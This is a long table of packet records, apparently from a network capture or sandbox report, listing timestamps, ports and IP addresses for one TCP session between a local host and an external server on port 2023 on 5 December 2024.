Dec 5, 2024 10:46:36.173978090 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.174916983 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.174957037 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.174993038 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.176003933 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.176044941 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.176054955 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.177295923 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.177306890 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.177345037 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.178550005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.178596020 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.178623915 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.179780006 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.179815054 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.179848909 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.181049109 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.181094885 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.181214094 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.182240963 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.182286978 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.182328939 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.183504105 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.183551073 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.183563948 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.184806108 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.184855938 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.184928894 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.186003923 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.186047077 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.186151028 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.187258959 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.187304974 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.187383890 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.188554049 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.188599110 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.188683987 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.189754009 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.189789057 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.189843893 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.191042900 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.191102028 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.191131115 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.192378044 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.192435026 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.192446947 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.193535089 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.193588972 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.193675041 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.194847107 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.194901943 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.194962025 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.196085930 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.196142912 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.196193933 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.197315931 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.197350025 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.197365046 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.198637009 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.198683023 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.198713064 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.200054884 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.200105906 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.200181007 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.201468945 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.201528072 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.201529026 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.202769995 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.202796936 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.202821016 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.204010010 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.204065084 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.204071045 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.205348015 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.205389023 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.205451965 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.206736088 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.206751108 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.206777096 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.207649946 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.207699060 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.207813025 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.209044933 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.209089994 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.209146023 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.210259914 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.210289001 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.210313082 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.211380005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.211405039 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.211483955 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.212408066 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.212457895 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.212470055 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.213587999 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.213632107 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.213797092 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.214916945 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.214965105 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.214999914 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.216118097 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.216136932 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.216166019 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.217690945 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.217735052 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.217818022 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.219077110 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.219114065 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.219197035 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.220200062 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.220242023 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.220304966 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.221421003 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.221465111 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.348078966 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.348166943 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.348212004 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.348321915 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.348335981 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.348377943 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.350044012 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.350162983 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.350203037 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.351370096 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.351475000 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.351511002 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.352520943 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.352653027 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.352689981 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.353327036 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.353457928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.353502035 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.354305029 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.354422092 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.354466915 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.355559111 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.355573893 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.355617046 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.356627941 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.356765032 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.356801987 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.357671976 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.357809067 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.357841969 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.358896971 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.359172106 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.359208107 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.360275030 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.360289097 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.360322952 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.361390114 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.361404896 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.361437082 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.362309933 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.362416983 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.362430096 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.362442017 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.362454891 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.362471104 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.363543034 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.363665104 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.363703966 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.364470005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.364506960 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.364541054 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.365475893 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.365524054 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.365561962 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.366641998 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.366682053 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.366718054 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.367850065 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.367908955 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.367948055 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.368942976 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.369062901 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.369102955 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.370127916 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.370161057 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.370203018 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.371239901 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.371328115 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.371371031 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.372374058 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.372421026 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.372464895 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.373461008 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.373621941 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.373667955 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.374670029 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.374808073 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.374852896 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.375915051 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.375941038 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.375979900 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.376848936 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.376936913 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.376969099 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.378190994 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.378396034 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.378442049 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.379261017 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.379297018 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.379337072 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.380384922 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.380436897 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.380475044 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.381485939 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.381607056 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.381645918 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.382585049 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.382671118 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.382710934 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.383770943 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.383893013 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.383928061 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.384860992 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.384902000 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.384938002 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.385979891 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.386173964 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.386254072 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.387172937 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.387232065 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.387298107 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.391381979 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.391396999 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.391411066 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.391422987 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.391442060 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.391460896 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.391773939 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.391927958 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.391971111 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.393153906 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.393168926 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.393208981 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.394239902 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.394361019 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.394408941 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.395399094 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.395414114 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.395447969 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.396454096 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.396471024 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.396521091 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.396672010 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.396853924 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.396891117 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.397932053 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.398752928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.398792982 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.399279118 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.399396896 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.399440050 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.400573015 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.400664091 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.400697947 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.401699066 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.401822090 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.401865005 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.402903080 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.403049946 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.403093100 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.403630018 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.403924942 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.403964043 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.404947996 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.405083895 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.405123949 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.406100035 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.406291008 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.406339884 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.407517910 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.461544991 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.540209055 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.540323019 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.540390015 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.540759087 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.540900946 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.540957928 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.542052031 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.542067051 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.542119026 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.543103933 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.543232918 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.543298960 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.544219971 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.544353008 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.544446945 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.545365095 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.545489073 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.545558929 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.546580076 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.546593904 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.546644926 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.547677040 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.547810078 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.547872066 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.548744917 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.548868895 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.548926115 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.549957991 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.550071001 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.550128937 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.551027060 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.551146984 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.551223040 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.552305937 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.552320957 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.552387953 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.553364992 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.553492069 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.553565025 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.554692030 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.554816961 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.554877996 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.555813074 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.555985928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.556025982 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.556941032 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.556953907 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.556991100 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.557977915 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.558123112 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.558166027 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.559067965 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.559190035 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.559231997 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.559524059 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.559537888 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.559577942 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.561120987 CET	2023	49738	45.149.241.141	192.168.2.4
